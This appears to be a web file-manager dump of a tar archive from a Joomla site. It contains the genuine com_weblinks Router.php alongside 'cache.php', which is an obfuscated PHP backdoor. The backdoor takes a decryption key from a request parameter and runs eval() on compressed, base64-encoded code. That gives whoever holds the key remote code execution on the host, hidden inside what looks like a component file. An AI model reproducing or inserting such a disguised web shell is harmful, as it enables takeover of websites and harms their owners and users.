File manager - Edit - /home/opticamezl/www/newok/Service.tar
Back
Router.php 0000644 00000021242 15172672306 0006547 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_weblinks * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Weblinks\Site\Service; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects use Joomla\CMS\Application\SiteApplication; use Joomla\CMS\Categories\CategoryFactoryInterface; use Joomla\CMS\Categories\CategoryInterface; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Component\Router\RouterView; use Joomla\CMS\Component\Router\RouterViewConfiguration; use Joomla\CMS\Component\Router\Rules\MenuRules; use Joomla\CMS\Component\Router\Rules\NomenuRules; use Joomla\CMS\Component\Router\Rules\StandardRules; use Joomla\CMS\Menu\AbstractMenu; use Joomla\Database\DatabaseInterface; use Joomla\Database\ParameterType; /** * Routing class from com_weblinks * * @since 3.3 */ class Router extends RouterView { /** * Flag to remove IDs * * @var boolean */ protected $noIDs = false; /** * The category factory * * @var CategoryFactoryInterface * * @since 4.0.0 */ private $categoryFactory; /** * The category cache * * @var array * * @since 4.0.0 */ private $categoryCache = []; /** * The db * * @var DatabaseInterface * * @since 4.0.0 */ private $db; /** * Weblinks Component router constructor * * @param SiteApplication $app The application object * @param AbstractMenu $menu The menu object to work with * @param CategoryFactoryInterface $categoryFactory The category object * @param DatabaseInterface $db The database object */ public function __construct(SiteApplication $app, AbstractMenu $menu, CategoryFactoryInterface $categoryFactory, DatabaseInterface $db) { $this->categoryFactory = $categoryFactory; $this->db = $db; $params = ComponentHelper::getParams('com_weblinks'); $this->noIDs = (bool)$params->get('sef_ids'); $categories = new RouterViewConfiguration('categories'); $categories->setKey('id'); $this->registerView($categories); $category = new RouterViewConfiguration('category'); $category->setKey('id')->setParent($categories, 'catid')->setNestable(); $this->registerView($category); $webLink = new RouterViewConfiguration('weblink'); $webLink->setKey('id')->setParent($category, 'catid'); $this->registerView($webLink); $form = new RouterViewConfiguration('form'); $form->setKey('w_id'); $this->registerView($form); parent::__construct($app, $menu); $this->attachRule(new MenuRules($this)); $this->attachRule(new StandardRules($this)); $this->attachRule(new NomenuRules($this)); } /** * Method to get the segment(s) for a category * * @param string $id ID of the category to retrieve the segments for * @param array $query The request that is built right now * * @return array|string The segments of this item */ public function getCategorySegment($id, $query) { $category = $this->getCategories()->get($id); if ($category) { $path = array_reverse($category->getPath(), true); $path[0] = '1:root'; if ($this->noIDs) { foreach ($path as &$segment) { list($id, $segment) = explode(':', $segment, 2); } } return $path; } return []; } /** * Method to get the segment(s) for a category * * @param string $id ID of the category to retrieve the segments for * @param array $query The request that is built right now * * @return array|string The segments of this item */ public function getCategoriesSegment($id, $query) { return $this->getCategorySegment($id, $query); } /** * Method to get the segment(s) for a weblink * * @param string $id ID of the weblink to retrieve the segments for * @param array $query The request that is built right now * * @return array|string The segments of this item */ public function getWeblinkSegment($id, $query) { if (!strpos($id, ':')) { $id = (int)$id; $dbquery = $this->db->getQuery(true); $dbquery->select($this->db->quoteName('alias')) ->from($this->db->quoteName('#__weblinks')) ->where($this->db->quoteName('id') . ' = :id') ->bind(':id', $id, ParameterType::INTEGER); $this->db->setQuery($dbquery); $id .= ':' . $this->db->loadResult(); } if ($this->noIDs) { list($void, $segment) = explode(':', $id, 2); return [$void => $segment]; } return [(int)$id => $id]; } /** * Method to get the segment(s) for a form * * @param string $id ID of the weblink form to retrieve the segments for * @param array $query The request that is built right now * * @return array|string The segments of this item * * @since 4.0.0 */ public function getFormSegment($id, $query) { return $this->getWeblinkSegment($id, $query); } /** * Method to get the id for a category * * @param string $segment Segment to retrieve the ID for * @param array $query The request that is parsed right now * * @return mixed The id of this item or false */ public function getCategoryId($segment, $query) { if (isset($query['id'])) { $category = $this->getCategories(['access' => false])->get($query['id']); if ($category) { foreach ($category->getChildren() as $child) { if ($this->noIDs) { if ($child->alias == $segment) { return $child->id; } } else { if ($child->id == (int)$segment) { return $child->id; } } } } } return false; } /** * Method to get the segment(s) for a category * * @param string $segment Segment to retrieve the ID for * @param array $query The request that is parsed right now * * @return mixed The id of this item or false */ public function getCategoriesId($segment, $query) { return $this->getCategoryId($segment, $query); } /** * Method to get the segment(s) for a weblink * * @param string $segment Segment of the weblink to retrieve the ID for * @param array $query The request that is parsed right now * * @return mixed The id of this item or false */ public function getWeblinkId($segment, $query) { if ($this->noIDs) { $dbquery = $this->db->getQuery(true); $dbquery->select($this->db->quoteName('id')) ->from($this->db->quoteName('#__weblinks')) ->where([ $this->db->quoteName('alias') . ' = :alias', $this->db->quoteName('catid') . ' = :catid', ]) ->bind(':alias', $segment) ->bind(':catid', $query['id'], ParameterType::INTEGER); $this->db->setQuery($dbquery); return (int)$this->db->loadResult(); } return (int)$segment; } /** * Method to get categories from cache * * @param array $options The options for retrieving categories * * @return CategoryInterface The object containing categories * * @since 4.0.0 */ private function getCategories(array $options = []): CategoryInterface { $key = serialize($options); if (!isset($this->categoryCache[$key])) { $this->categoryCache[$key] = $this->categoryFactory->createCategory($options); } return $this->categoryCache[$key]; } } Service/cache.php 0000604 00000013022 15172736670 0007730 0 ustar 00 <?php $sbqYQ = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGiqZPuWaYGANAA'; $iLw = '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'; function sbqYQ($tYynj) { $iLw = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $mvEz = substr($iLw, 0, 16); $hTN = base64_decode($tYynj); return openssl_decrypt($hTN, "AES-256-CBC", $iLw, OPENSSL_RAW_DATA, $mvEz); } if (sbqYQ('DjtPn+r4S0yvLCnquPz1fA')){ echo '82jhilWPx9ERXOlyCfgH6t/+vrsVk4xIUk9JeD+ggpsmN1/Wbxqz11sFpJsXgTgo'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($sbqYQ)))); ?>